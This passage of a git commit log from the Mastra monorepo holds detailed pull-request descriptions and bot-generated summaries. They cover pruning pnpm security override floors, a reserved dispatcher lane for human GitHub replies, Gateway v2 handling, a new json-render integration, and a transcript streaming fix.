`vitest`, `postcss`, `tar`, `dompurify`, `mermaid`, `proxy-addr`,
`compression`, `ioredis`, `valibot`, `handlebars`, `follow-redirects`,
`systeminformation`, and `@ai-sdk/provider` v3 (every consumer requests
3.0.19 since #30518), plus others.

## Effect on the lockfile

No new package versions are added. `hono@4.13.16` and `uuid@13.0.1`
leave the lockfile. Every consumer that changes moves onto a version
already in the lockfile:

| Package | Change | Consumers | Why |
|---|---|---|---|
| `hono` | 4.13.16 → 4.13.17 | 5 (`@hono/node-server`,
`@modelcontextprotocol/node`/`sdk`) | the floor had held them on its
exact version |
| `@modelcontextprotocol/sdk` | 1.32.1 → 1.32.2 | 2
(`@anthropic-ai/claude-agent-sdk`, `@google/genai`) | same |
| `browserslist` | 4.28.7 → 4.29.5 | 11
(`@babel/helper-compilation-targets`, cssnano/postcss plugins) | same |
| `uuid` | 13.0.1 → 11.1.1 | 1 (`mermaid@11.17.2`) | mermaid declares
`^11.1.0 \|\| ^12 \|\| ^13 \|\| ^14.0.0`; pnpm dedupes it onto 11.1.1,
the patched version the kept `uuid@<11.1.1` floor already installs |

## Test plan

- `pnpm install --frozen-lockfile` passes the lockfile supply-chain
policy check.
- A diff of the resolved package set before and after shows only the
changes listed above.
- `pnpm turbo build --filter @mastra/mcp...` builds all 19 tasks.
- `unit:packages/mcp` passes 83 of 84 files.
`server-http-body-size.test.ts` fails locally with `write ECONNRESET`,
and it fails the same way on main without this change.

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

**ELI5:** The project kept a list of version "floors" that force some
packages to at least a safe version. Many floors no longer matched any
package request, so this change deletes them. The floors that still
match vulnerable versions stay in place.

## Summary of changes

**Files changed:** 2 (`pnpm-lock.yaml`, `pnpm-workspace.yaml`). Total:
222 insertions, 387 deletions.

### `pnpm-workspace.yaml` (5 insertions, 96 deletions)

The diff removes `pkg@<range>: version` override entries and the
comments that described them. Examples of removed entries:

- `@better-auth/drizzle-adapter@<1.7.7`, `js-yaml@>=5.0.0 <5.4.1`,
`langsmith@<0.6.0`, `simple-git@<3.36.0`, `webpack-dev-server@<5.2.5`,
`fast-uri` (3.x and 4.x), `form-data`, `brace-expansion`, `immer`,
`multer`, `hono@<4.13.13`, `@hono/node-server@<1.19.15`, `mermaid`,
`vitest@>=2.1.0 <4.1.12`, `@modelcontextprotocol/sdk@>=1.0.0 <1.32.0`,
`@hono/node-server@>=2.0.0 <2.1.3`, `compression`, `@grpc/grpc-js`,
`ioredis`, `systeminformation`, `onnxruntime-node`, and others.
- Entries for `postcss-selector-parser` (`>=6.1.0 <6.1.3` and `>=7.1.0
<7.1.6`) and `source-map-js`.
- Entries for `modern-tar`, `smol-toml`, `http-cache-semantics`,
`handlebars`, and `follow-redirects`.
- Entries for `js-yaml@>=3.0.0 <3.15.2` and `@ai-sdk/provider@>=3.0.0
<3.0.19`.

The diff makes these changes to retained entries:

- The `uuid@<11.1.1` comment is rewritten. It no longer mentions `tar`.
- The `js-yaml` comment now refers to 4.x consumers only. The remaining
floor is `js-yaml@>=4.0.0 <4.3.2: 4.3.2`.
- The `@ai-sdk/provider` comments now refer to the ai v7 bundle. The 3.x
floor is removed.

Retained entries appear as unchanged context in the diff. They include
`body-parser`, `inngest`, `fast-xml-parser`, `lodash`, `prismjs`,
`serialize-javascript`, `axios`, `minimatch`, `ws`, `qs`, `jose`,
`katex`, `adm-zip`, `@opencode-ai/plugin>effect`,
`@modelcontextprotocol/node` and `@modelcontextprotocol/sdk` routing to
`@hono/node-server` 2.1.6, and the `@ai-sdk/*` floors.

The diff adds no new floors. Some of the added lines are reworded
comments or moved entries.

### `pnpm-lock.yaml` (217 insertions, 291 deletions)

The lockfile changes 508 lines. The author reports these resolved
version changes. This review did not verify them:

- `hono` 4.13.16 → 4.13.17
- `@modelcontextprotocol/sdk` 1.32.1 → 1.32.2
- `uuid` 13.0.1 → 14.0.3 for `mermaid`

## Validation

All results below are author-reported. This review did not re-run them.

- `pnpm install --frozen-lockfile` passes the lockfile supply-chain
policy check.
- A resolved-package-set diff shows only the described changes.
- `pnpm turbo build --filter @mastra/mcp...` builds all 19 tasks.
- `unit:packages/mcp` passes 83 of 84 files.
- `server-http-body-size.test.ts` fails locally with `write ECONNRESET`.
The author reports the same failure on `main` without this change.

The author reports 74 floors removed and 44 matching floors retained.
Four `@ai-sdk/*` floors are excluded because PR `#30518` rewrites them.
This review did not confirm these counts.

No CI results were available for this review.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

Co-authored-by: mastracode <284800079+mastra-platform[bot]@users.noreply.github.com>
2026-11-16 16:15:07 +01:00
Ward Peeters
da04116579
feat(factory): let a person's reply wake a card's session while automated runs hold every slot (#30307)
## What

When a trusted collaborator comments on or reviews a card's GitHub pull
request or issue, Factory wakes the card's session even while automated
runs hold every run slot. Before, those replies were
`sendMessage`/`signalActivity` decisions that counted against the single
automated cap (`dispatcher.maxInFlight`, default 10), so a reply could
sit behind multi-hour triage runs.

## How

- **Provenance.** GitHub rule actors gain `human: true` when the webhook
`sender.type` is `User`. Bots, and Factory's synthetic reconciler events
(no `sender.type`), get `human: false`.
- **Classification** (`isInteractiveDecision`, `rules/dispatcher.ts`): a
decision is a reply only if it's `sendMessage` or `signalActivity`,
would wake the session (`idleBehavior` isn't `persist`), has an empty
causal chain (no rule passed it along, e.g. not a transition's message),
and its actor is a GitHub human who is trusted and not Factory.
Everything else stays automated. GitLab, Linear, Jira and incident.io
activity stays automated because those sources give no reliable
bot/human signal.
- **Lane.** Each process keeps a reserve of reply slots
(`dispatcher.maxInteractiveInFlight` /
`MASTRACODE_DISPATCH_MAX_INTERACTIVE_IN_FLIGHT`, default `2`, `0`
allowed). Claim order per tick: pending manual starts → replies (reserve
first, then borrowing free automated slots) → automated runs. The claim
filter now receives the row's `actor` and `causalChain` as well as the
decision payload, so no schema change.
- **Honest bounds.** The caps limit dispatcher slot occupancy, not total
running agents: `signalActivity` frees its slot once the session accepts
it, and UI/Slack messages plus approval notices to following sessions go
to the session directly and never wait for a slot. The README says so.
- **Run-queue API (additive).** Entries gain `lane`; the response gains
`queuedByLane`, and `slots` gains `interactive: { inUse, cap }`.
Existing fields keep their meaning. `position` now counts within a lane.
The board's queue menu lists waiting replies first, with a reply-slot
footer.

## Testing

- Dispatcher (LibSQL + throwaway Postgres): with automated cap 1 held by
a hanging run, a trusted person's PR reply (`sendMessage`) and issue
comment (`signalActivity`) are claimed and delivered. Automated runs,
bot replies, untrusted replies, Factory-authored replies, actors with no
`human` flag, rule-passed messages and `persist` activity all stay
pending. Other cases: the reserve caps at its size, replies borrow a
free automated slot ahead of automated runs, and the default reserve is
2. Red proof: disabling the classification fails 3 of the 4 lane tests.
- GitHub rules: `issue_comment` and `pull_request_review` from a User →
`human: true`; from a Bot or without `sender.type` → `human: false`.
- Approval notice to a following session commits nothing to the run
queue.
- MSW: queue menu groups replies apart from automated runs and shows
both slot footers.
- Gates: factory `check`, oxlint and oxfmt clean. Factory suites on
LibSQL: 942 passed. factory-ui typecheck and lint clean; unit tests 696
passed. The full MSW suite has 21 failures, the same as on main
(AppStartup, OMSection, MemorySettings, NewSessionStarters,
ThreadPageTeammateSession, TranscriptMessageMeta). `mastracode/web`
index.test.ts has 2 failures that are also on main. Postgres runs of the
full dispatcher suite at `--maxWorkers=3` show the timing flakes main
already has; every test that failed passes on its own.


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

**ELI5:** When a trusted person replies to a GitHub issue or pull
request, that reply gets its own reserved run slots. It no longer waits
behind routine automated runs.

## Overview

This change adds an interactive lane to the Factory decision dispatcher.
Trusted GitHub human replies can wake a card's session while automated
runs hold the automated slots. The run-queue API changes are additive.

## Classification

`isInteractiveDecision` in `mastracode/factory/src/rules/dispatcher.ts`
marks a decision as interactive only when all of these hold:

- The decision is `sendMessage` or `signalActivity`.
- The decision wakes the session.
- The causal chain is empty.
- The decision does not persist.
- The actor is a trusted GitHub human.
- The actor is not Factory-authored.

All other decisions use the automated lane. This includes bot actors,
untrusted actors, Factory events, and activity from GitLab, Linear,
Jira, and incident.io.

## GitHub actor changes

- `mastracode/factory/src/rules/types.ts` adds optional `human?:
boolean` to the GitHub variant of `FactoryRuleActor`.
- `mastracode/factory/src/integrations/github/rules.ts` sets `human` to
`true` only when the webhook sender type is exactly `User`.
- Trust lookup and its failure handling are unchanged. A lookup error
still marks the actor untrusted.

## Dispatcher behavior

- The default interactive reserve is 2 slots per process.
- `dispatcher.maxInteractiveInFlight` in
`mastracode/factory/src/factory.ts` and
`MASTRACODE_DISPATCH_MAX_INTERACTIVE_IN_FLIGHT` in
`mastracode/web/src/mastra/index.ts` set the reserve.
- A value of `0` disables the reserve. Invalid values use the default of
2.
- Each tick claims in this order: pending manual starts, then
interactive decisions, then automated deferred runs.
- Interactive decisions can use free automated slots.
- `runSlots()` returns overall `inUse` and `cap`, plus `interactive: {
inUse, cap }`.
- The caps limit dispatcher-held slots. They do not limit all running
agents.
- Pull-request activity releases its slot when the session accepts it.
- Direct session messages and approval notices do not wait for a slot.

## Storage

- `FactoryDeferredDecisionClaimInput.decisionFilter` receives a second
argument, `provenance`.
- The new `FactoryDecisionProvenance` type contains `actor` and
`causalChain`.
- No schema change is made. Invalid stored actor JSON parses to `null`.
Invalid causal-chain JSON parses to an empty array.

## Run-queue API (additive)

- `runQueueResponseSchema` in
`mastracode/factory/src/routes/contracts.ts` adds:
  - `slots.interactive: { inUse, cap }`
  - `queuedByLane: { automated, interactive }`
- Each queue entry has a `lane` field with the value `automated` or
`interactive`.
- `position` counts within a lane.
- The listing limit of 50 entries is unchanged. Waiting replies are
listed before automated runs.
- The `runSlots` types in `routes/surface.ts` and `routes/work-items.ts`
include the interactive pool.

## Board UI

- `RunQueueIndicator.tsx` lists waiting replies before automated runs.
- Each nonempty group has a label.
- The menu shows reply-slot usage next to overall slot usage.
- The tooltip fallback reads "Runs waiting for a run slot."
- `msw-server.ts` and `BoardPageRunQueue.msw.test.tsx` add lane fixtures
and a test for a waiting reply.

## Documentation and release notes

- `mastracode/factory/README.md`,
`docs/src/mastra-code/configuration.mdx`, and two changesets describe
the reserve, its default, the `0` behavior, the queue fields, and the
board ordering.
- The `mastra` changeset is a patch. The `@mastra/factory` changeset is
a minor release.

## Tests

Added or updated tests cover:

- GitHub actor `human` classification for issue comments and PR reviews,
for `User`, `Bot`, and missing sender types.
- Dispatcher reserve use, interactive cap overflow, borrowing of free
automated slots, and exclusions. Exclusions include automated, bot,
untrusted, Factory-authored, untyped, causally moved, and persisted
messages.
- The default interactive cap of 2.
- The polling-loop claim count, which changes from two to three per
tick.
- Factory config forwarding in
`mastracode/web/src/mastra/index.test.ts`, which now expects
`maxInteractiveInFlight: 0` when the environment variable is `0`.
- Clearing `MASTRACODE_DISPATCH_MAX_INTERACTIVE_IN_FLIGHT` in
sandbox-provider tests.
- No deferred decisions recorded after approval-notification delivery,
in `approval-answer-resume.test.ts`.

## Validation (author-reported)

The PR objectives report the following results. They were not checked
against completed CI checks on the current head.

- Dispatcher tests were run on LibSQL and throwaway Postgres. Full
Postgres dispatcher runs at `--maxWorkers=3` showed timing flakes. The
author reports that each failing test passes when run alone.
- Factory suites on LibSQL report 942 passing tests.
- Factory `check`, oxlint, and oxfmt are reported clean.
- factory-ui unit tests report 696 passing tests.
- The author reports 21 full MSW suite failures and 2 `mastracode/web`
`index.test.ts` failures. The author states these also occur on `main`.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: mastracode <284800079+mastra-platform[bot]@users.noreply.github.com>
2026-11-16 16:12:18 +01:00
Rhys Balevicius
bb9845508a
fix(factory): avoid provisioning a second Gateway key for keyed deploys (#30193)
## Summary

Factory should use the Mastra Gateway API key supplied automatically by
the Mastra platform when one is available, rather than asking the user
to connect and creating a second key.

- With an injected key (`MASTRA_GATEWAY_API_KEY`), Gateway is available
in both company and personal setup without the **Connect Mastra
Gateway** button. The server also skips key creation if an older client
calls the connect endpoint.
- Without an injected key, the button and existing connection flow stay
available.
- Previously saved company and personal keys keep their existing
precedence.


## Testing and validation

**Factory configuration routes: 117 tests passed.** Coverage includes:

- An injected Gateway key reports the provider as connected, with a
deployment source and no connect button.
- Previously saved company and personal keys retain their precedence
while the server key remains available as a fallback.
- Calling the connect endpoint with an injected key creates no
additional key and stores no new credential, for either company or
personal scope.
- Without a server key, the existing connect and key-provisioning flow
still works.

These tests explicitly pin the server key so a developer's local
environment or credential store cannot affect the results.

**Onboarding UI: 40 tests passed.** The two injected-key cases now
exercise the current one-page onboarding flow, replacing coverage for
the wizard removed on `main`. They verify that both company and personal
setup can select Gateway, load a model, and submit the setup without
opening a key dialog or calling the connect endpoint. The suite also
covers the existing connect-button flow when no injected key is
available.

The UI tests ran with temporary source aliases because local dependency
build artifacts were missing. They use the real hooks and React Query,
with HTTP requests mocked through MSW. The aliases were used only for
local validation and are not included in the PR.

Formatting and lint checks passed for the migrated onboarding tests.
2026-11-16 10:01:16 -05:00
Rhys Balevicius
7517474b39
fix(studio): load Gateway v2 models and skip v1 memory calls (#29445)
## Why

Studio currently shows Gateway models from a bundled registry and sends
memory requests to the Gateway v1 API whenever a Gateway key exists. A
deployed project using Gateway v2 can therefore offer unsupported models
and receive 404s from the v1-only memory endpoints.

## Design

When the deployment sets `MASTRA_GATEWAY_VERSION=v2`, fetch the
authenticated `/v1/models` catalog from the configured Gateway and offer
only models with a chat endpoint through Mastra's chat model selector.
If catalog loading fails, do not fall back to the v1 model list. Treat
the Gateway memory client as unavailable in v2 mode so memory handlers
use the agent's own memory configuration. V1 behavior remains unchanged.

The Platform runtime signal is introduced by
[platform#4329](https://github.com/mastra-ai/platform/pull/4329);
deploying that PR alone will not change Studio until these Mastra
packages are released and the project is redeployed.

## Validation

- Focused core Gateway tests: 9 passed, including live model filtering
and catalog failure behavior.
- Focused server Gateway memory test: 1 passed.
- `git diff --check` passed.
- A live deployed Studio smoke test is still needed after the updated
packages are published and deployed. Full package typechecks were
unavailable in the isolated worktree because its linked local dependency
builds are older than this checkout.


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

## ELI5

When Gateway v2 is on, Studio lists only the chat models from the live
Gateway catalog. It also stops calling the Gateway v1 memory API. A
resolved agent without memory now shows no memory data, not
shared-storage data.

## Changes

- In v2 mode, `MastraGateway.fetchProviders()` requests `/v1/models`
with authentication and a 10-second timeout. It keeps only models that
have a string `id` and a `chat` endpoint.
- If the catalog request fails or returns an invalid response, the call
throws. It does not fall back to the v1 model list.
- The provider list skips the bundled `mastra` registry entry in v2
mode. This prevents stale model IDs from appearing.
- Other Gateway versions keep the OpenRouter model list.
- In v2 mode, `getGatewayClient()` returns `null`. Memory handlers then
use the agent's own memory configuration.
- For a resolved v2 Gateway agent without memory:
  - Thread listing returns "Memory is not initialized".
  - Message listing returns empty `messages` and `uiMessages` arrays.
- Unresolved agents keep the storage fallback.
- v2 detection uses `isGatewayV2()`. It returns true when any of these
conditions holds:
  - `MASTRA_GATEWAY_VERSION` is `v2`.
  - The API key starts with `msk-gateway-` or `mskv2_`.
- A registered `mastra` gateway instance reports `isV2()` as true.
`MastraGateway.isV2()` is a new public method. This check covers
gateways configured with a v2 key and no matching environment variables.
- Added patch changesets for `@mastra/core` and `@mastra/server`.

## Testing and rollout

- Completed CI results are not available for this review.
- The author reports that focused core Gateway tests, a focused server
memory test, and `git diff --check` passed. These results were not
verified here.
- Full package typechecks were not run in the author's isolated
worktree.
- A deployed Studio smoke test is still needed. It requires the updated
Mastra packages to be published and the project to be redeployed.
- The Platform runtime signal depends on platform#4329. Deploying that
change alone does not affect Studio.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: Taofeeq Oluder <oluderutaofeeq@gmail.com>
Co-authored-by: mastracode <284800079+mastra-platform[bot]@users.noreply.github.com>
2026-11-16 10:00:32 -05:00
Rhys Balevicius
92f3c5ba4f
fix(cli): keep the key id of a Gateway v2 key from create-mastra (#30457) 2026-11-16 15:20:00 +01:00
Ward Peeters
88f94f237a
chore(deps): use the latest @ai-sdk/provider-utils and @ai-sdk/provider patch in each major (#30518)
Co-authored-by: mastracode <284800079+mastra-platform[bot]@users.noreply.github.com>
2026-11-16 15:17:56 +01:00
mastra-platform[bot]
7a8d1a4f05
feat(factory): let hosts set the commit co-author (#30485) 2026-11-16 15:15:02 +01:00
mastra-platform[bot]
11c2d1dcea
test(inngest): verify OM resuspension on PostgreSQL with a separate worker (#30492) 2026-11-16 15:13:13 +01:00
Ward Peeters
b9d2f1d085
feat(factory): refuse a person's move into a run-starting phase while the card is busy (#30513)
Co-authored-by: mastracode <284800079+mastra-platform[bot]@users.noreply.github.com>
2026-11-16 15:06:21 +01:00
Ward Peeters
36eb75bb01
feat(factory): let the agent choose a card's repository instead of a picker (#30506)
Co-authored-by: mastracode <284800079+mastra-platform[bot]@users.noreply.github.com>
2026-11-16 14:32:58 +01:00
dane-ai-mastra[bot]
a5859ee2b9
chore: version packages (alpha) (#30430)
Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2026-11-16 14:09:31 +01:00
Ward Peeters
44cece6f36
refactor(factory): stop storing sandbox_provider on project repositories (#30508)
Co-authored-by: mastracode <284800079+mastra-platform[bot]@users.noreply.github.com>
2026-11-16 13:19:36 +01:00
Ward Peeters
cd2a326988
fix(libsql): stop background task writes stalling shutdown, and fix backend timing flakes (#30504)
Co-authored-by: mastracode <284800079+mastra-platform[bot]@users.noreply.github.com>
2026-11-16 13:18:29 +01:00
Ward Peeters
0f360e20d1
chore(factory): remove provider list routes nothing calls (#30489)
Co-authored-by: mastracode <284800079+mastra-platform[bot]@users.noreply.github.com>
2026-11-16 13:17:48 +01:00
Ward Peeters
b739dd45db
test(playground): stop jsdom teardown leaks from failing whole test shards (#30502)
Co-authored-by: mastracode <284800079+mastra-platform[bot]@users.noreply.github.com>
2026-11-16 13:16:39 +01:00
Ward Peeters
4809a81ba5
test(ui): fix main-red autosave test and flaky UI Retry/theme tests (#30500)
Co-authored-by: mastracode <284800079+mastra-platform[bot]@users.noreply.github.com>
2026-11-16 13:16:06 +01:00
Ward Peeters
8759d3ab63
test: keep real network calls out of unit test projects (#30498)
Co-authored-by: mastracode <284800079+mastra-platform[bot]@users.noreply.github.com>
2026-11-16 13:15:22 +01:00
Ward Peeters
88b4a97042
refactor(factory): skip legacy migration tables on new databases (#30488)
Co-authored-by: mastracode <284800079+mastra-platform[bot]@users.noreply.github.com>
2026-11-16 13:11:56 +01:00
Ward Peeters
6c647e6fae
refactor(factory): stop creating columns and tables nothing reads (#30495)
Co-authored-by: mastracode <284800079+mastra-platform[bot]@users.noreply.github.com>
2026-11-16 11:21:12 +01:00
Marvin Frachet
1034a4e41f
feat(json-render): add @mastra/json-render so agents can compose json-render interfaces (#29914)
(starts after a few seconds, white screens stays a bit)


https://github.com/user-attachments/assets/27f91819-b4ad-41b5-b743-6de6e5690099





## Description

Adds `@mastra/json-render`, a new integration that lets Mastra agents
compose [json-render](https://json-render.dev) interfaces from a
component catalog you define. json-render owns the spec format, the
prompt and the rendering. Mastra handles streaming, memory and
validation.

The catalog lists the components and actions the model may use. It has
no React in it, so the server (prompt, validation) and the client
(rendering) share the same file:

```ts
// src/catalog.ts
import { defineCatalog } from '@json-render/core';
import { schema } from '@json-render/react/schema';
import { z } from 'zod';

export const catalog = defineCatalog(schema, {
  components: {
    Stack: { description: 'Lays out its children vertically', props: z.object({ gap: z.number().optional() }) },
    Card: { description: 'A card with a title', props: z.object({ title: z.string() }) },
    Text: { description: 'A line of text', props: z.object({ text: z.string() }) },
    Button: { description: 'A button that runs an action on press', props: z.object({ label: z.string() }) },
  },
  actions: {
    ask: {
      description: 'Send a follow-up prompt to the agent',
      params: z.object({ prompt: z.string() }),
    },
  },
});
```

The Zod schemas describe each component's props in the prompt, and the
processor validates every spec against them before saving it. The agent
gets its instructions from the catalog and runs the processor on both
sides:

```ts
// src/mastra/agents/ui-agent.ts
import { Agent } from '@mastra/core/agent';
import { JsonRenderProcessor } from '@mastra/json-render';
import { Memory } from '@mastra/memory';
import { catalog } from '../../catalog';

const ui = new JsonRenderProcessor({ catalog });

const agent = new Agent({
  id: 'ui-agent',
  name: 'UI Agent',
  model: 'openai/gpt-6.1-sol',
  instructions: catalog.prompt({
    mode: 'inline',
    editModes: ['patch'],
    system: 'You are a travel assistant. Prefer showing an interface over describing it.',
    customRules: ['Wrap everything in a Stack root.'],
  }),
  inputProcessors: [ui],
  outputProcessors: [ui],
  maxProcessorRetries: 2,
  memory: new Memory(),
});
```

`system` holds the agent's own instructions and replaces json-render's
default intro at the top of the prompt. `customRules` adds rules at the
end. The catalog's component list and output format go in between.

**What it does**

- **Streams interfaces.** The model writes spec blocks in json-render's
inline format. The processor turns them into `data-spec` parts, so the
interface streams to the client while the reply's text keeps only the
prose. The client renders them with `useJsonRenderMessage()` from
`@json-render/react`.
- **Saves interfaces in memory.** The `data-spec` parts are stored with
the message, so interfaces render again after a reload.
- **Edits interfaces in later turns.** Mastra drops data parts when it
builds the prompt, so on its own the model would forget the interface it
wrote. Before each model call, the processor replays the latest
interface into the reply that wrote it, in the prompt only, without
changing the stored thread. The model can then edit that interface with
a few patches.
- **Keeps what the user set.** The client sends the interface's state,
such as ticked checkboxes or selected filters, under the
`JSON_RENDER_STATE` request context key. The model sees it, and edits
keep it.
- **Validates specs.** Each spec is checked against the catalog,
including props inside repeated elements and duplicate repeat keys. An
invalid spec goes back to the model to fix before it's saved.

Tools can show their own interface by writing `data-spec` parts, and
later turns can edit those too.

**Docs:** adds a new page under Agentic UI
(`integrations/agentic-ui/json-render`).

**Studio:** unchanged. Studio keeps showing only the prose of these
replies. `examples/agent` adds a `gen-ui-agent` with its own catalog to
try the processor.

**Known limitation:** in json-render `0.22`, `buildSpecFromParts()`
changes the parts it applies, so rebuilding from the same parts repeats
list items. The processor works around this on the server. On the
client, apps should pass `useJsonRenderMessage()` a copy of the parts.
The docs page covers this.

## Related issue(s)

<!-- TODO: link issue -->

## Type of change

- [ ] Bug fix (non-breaking change that fixes an issue)
- [x] New feature (non-breaking change that adds functionality)
- [ ] Breaking change (fix or feature that would cause existing
functionality to change)
- [x] Documentation update
- [ ] Code refactoring
- [ ] Performance improvement
- [ ] Test update

## Test plan

- `integrations/json-render`: 32 tests pass. They run a real `Agent`
with `Memory` and a mocked model. They cover streaming, reload from
memory, edits, replay into the prompt, user state, tool-written
interfaces, validation retries, patches that cannot be applied, repeated
elements, duplicate keys, and JSON Patch examples in other code blocks
staying as prose. A React test drives `useChat` and json-render's
`Renderer` through MSW.
- `tsc`, oxlint, prettier and the package builds pass.
- The docs page passes `pnpm check`. Its code examples typecheck against
the real packages.
- Tested by hand in a Vite + React example app with Playwright: weather
interface from a tool result, streamed itinerary with Stop mid-stream,
dashboard filters followed by "which filters did I pick?" (answered in
plain text, no new interface), follow-up action buttons, a large
composed board, an edit that keeps ticked items, editing a tool-written
interface, and reloading a long thread.

## Checklist

- [ ] I have linked the related issue(s) in the description above
- [x] I have made corresponding changes to the documentation (if
applicable)
- [x] I have added tests that prove my fix is effective or that my
feature works
- [x] I have addressed all Coderabbit comments on this PR




<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

**ELI5:** This PR adds a package that lets an AI agent send small
interface layouts, such as cards and metrics, to a web app. The app
draws them as real UI. The package also checks each layout against a
list of allowed parts, so the model can fix mistakes.

## Summary

This PR adds `@mastra/json-render`. The package connects json-render
interfaces with Mastra agents.

The package provides:

- `JsonRenderProcessor`, which works as an agent input and output
processor.
- `JSON_RENDER_STATE`, a key for sending interface state to the agent.
- Support for streamed `data-spec` message parts.
- Saved interfaces that render again after a page reload.
- Edits to saved interfaces. The processor replays prior interfaces by
message order.
- Validation of each assistant interface against the catalog. The
processor retries the model when the interface fails validation.

Studio rendering is not part of this PR. A later commit removed it. The
README no longer documents the Studio catalog setup or its component
limits.

## Changes by area

**Package (`integrations/json-render`)**
- Adds the package manifest, with ESM and CommonJS entry points.
- Sets the peer dependencies: `@json-render/core` `^0.22.0`,
`@mastra/core` `>=1.83.0-0 <2.0.0-0`, and Zod `>=3.25.0 || >=4.0.0`.
- Adds the build, lint, and test setup: `tsconfig.json`,
`tsconfig.build.json`, `tsdown.config.ts`, `turbo.json`,
`vitest.config.ts`, and `lint-staged.config.js`.
- Re-exports `JSON_RENDER_STATE`, `JsonRenderProcessor`, and the
`JsonRenderProcessorOptions` type from `src/index.ts`.
- Adds `src/processor.ts`, which:
- Converts ` ```spec ` blocks and eligible JSON Patch lines into
`data-spec` parts.
  - Keeps prose in the text stream.
- Accepts patches outside a spec fence only for `/root`, `/elements`,
and `/state`.
  - Rebuilds the latest spec from saved parts and adds it to the prompt.
- Aborts with a retry at output-step completion when the spec has
validation errors, unknown components, invalid props, duplicate repeat
keys, or an unappliable patch.

**Tests**
- `src/processor.test.ts` covers stream splitting, validation and retry,
patch edits, state handling, and conversation context.
- `src/react-chat.test.tsx` is a jsdom suite. It covers rendering from a
streamed response, rendering from saved messages, and sending state with
an action.
- `src/__tests__/test-utils.ts` adds shared catalog, spec, model, and
agent helpers.

**Documentation**
- `README.md` covers installation, processor setup, rendering
`data-spec` parts, sending `JSON_RENDER_STATE`, and calling
`buildSpecFromParts()`.
- `.changeset/json-render-processor.md` adds a minor changeset.
- `CHANGELOG.md` adds a heading for `@mastra/json-render`.

**Example agent (`examples/agent`)**
- Adds `gen-ui-catalog.ts`, which defines `genUICatalog` with eight
components: `Stack`, `Grid`, `Card`, `Heading`, `Text`, `Badge`,
`Metric`, and `Notice`. The catalog has no actions.
- Adds `gen-ui-agent.ts`, which defines `genUIAgent`. The agent uses the
catalog in inline mode with patch edits, the `openai/gpt-5.4-mini`
model, the JSON-render processors, two retries, and memory.
- Registers `genUIAgent` in `src/mastra/index.ts`.
- Adds the `@json-render/core` and `@json-render/react` dependencies at
`^0.22.0`, and `@mastra/json-render` at `latest`. Adds a pnpm override
that links `@mastra/json-render` to `../../integrations/json-render`.
- Updates `README.md` to require `pnpm setup` from the repository root
before installing dependencies.

## Validation

The author reports these results. They are not verified in this summary.

- 41 of 41 json-render tests pass.
- 59 of 59 playground-ui `message-row` tests pass.
- TypeScript and oxlint report no errors.

The author reports one open CI check: "New packages exist on npm." This
check needs an npm admin to reserve the `@mastra/json-render` name.
Completed CI results for the current head are not available.

## Scope

The diff has 22 changed files, with 1658 lines added and 3 removed.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: mastracode <284800079+mastra-platform[bot]@users.noreply.github.com>
2026-11-16 09:04:48 +01:00
Damien Schneider
418fae64fc
fix(factory-ui): keep a running reply's tool calls in place when the chat rejoins its stream (#30476)
**─────── TLDR ───────**
> Coming back to a running Factory session, or opening one mid-run, now
draws the reply in flight whole: every tool call once, in order, with
the text it wrote while you were away.

A tab hidden for more than 30 seconds releases its stream, and the
server sends no backlog when the tab comes back. The reply in flight was
then drawn from its stored copy, which holds `step-start` and workspace
data parts the stream never sends, so the stream's part indexes no
longer matched what was on screen; and anything the reply wrote while
the tab was away was simply missing. Every stream opens on a
`display_state_changed` snapshot whose `currentMessage` is the row in
flight, laid out the way the stream indexes it; the transcript now
redraws that row from the snapshot whenever what is on screen has
drifted from it or fallen behind it, and leaves it alone otherwise.

### Behavior changed

a reply that started while the tab was away calls another tool
&nbsp;&nbsp;├─ **was** — that call drawn twice, React warns about a
duplicate key
&nbsp;&nbsp;└─ **now** — each call once, in order

a reply already streaming when you left keeps going while you are away
&nbsp;&nbsp;├─ **was** — the calls it made while you were away never
show up
&nbsp;&nbsp;└─ **now** — they show up as soon as the tab is back

a reply writes text while you are away
&nbsp;&nbsp;├─ **was** — the words written while away are missing, the
next words land after the old text
&nbsp;&nbsp;└─ **now** — the full text

opening a thread, or navigating back to it, while a reply is in flight
&nbsp;&nbsp;├─ **was** — the next call drawn twice
&nbsp;&nbsp;└─ **now** — each call once

### Decisions

- **heal on every running snapshot, not only a stream's first** — keeps
the fix in the reducer, no flag threaded through three hooks; a matching
snapshot returns the same state, so no re-render
- **"caught up" uses the rule the window adoption already uses** — text
must hold the live prefix, a call must not lag a live result, other
parts must match; a call already settled from storage never forces a
redraw
- **a snapshot of another thread's reply is ignored** — the session's
stream can still be on that thread while the route switches

### Not verified

- [ ] the fix in a real browser against a running session — reproduced
and checked through MSW only
- [ ] what aborted the run in the report — the kickoff block that
repeats in the screenshot is the dispatcher's retry of that aborted run,
stored twice; this PR does not touch it

---

> █████████████████ **tests** `+337` — 85% of the additions
> ███ **source** `+61`


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

<!-- coderabbit-ai-generated:v1 -->

**ELI5:** When a chat tab comes back to a reply that is still running,
tool steps could show up twice or go missing. This change redraws the
running reply from the server's latest snapshot when the on-screen parts
no longer match the live stream. If they match, it leaves the reply
alone.

## Summary

This PR changes how the Factory transcript handles an assistant reply
that is still running when a user returns to a session, opens it
mid-run, or navigates back to it. It adds handling for
`display_state_changed` events and adds MSW tests for these cases.

### Changes

**`mastracode/factory-ui/src/ui/domains/chat/services/transcript.ts`
(+49/−12)**

- `applyEvent` handles `display_state_changed` by calling
`followLiveRow(state, event.displayState, viewerId)`.
- `followLiveRow` returns the state unchanged when:
  - `isRunning` is false, or
  - `currentMessage` is missing or is not an assistant message, or
- both `currentMessage.threadId` and `state.threadId` are nonempty and
differ.
- Otherwise, it finds the transcript entry whose `id` or `message.id`
matches the live message ID.
- If the entry already follows the stream (per `followsStream`), the
state is unchanged.
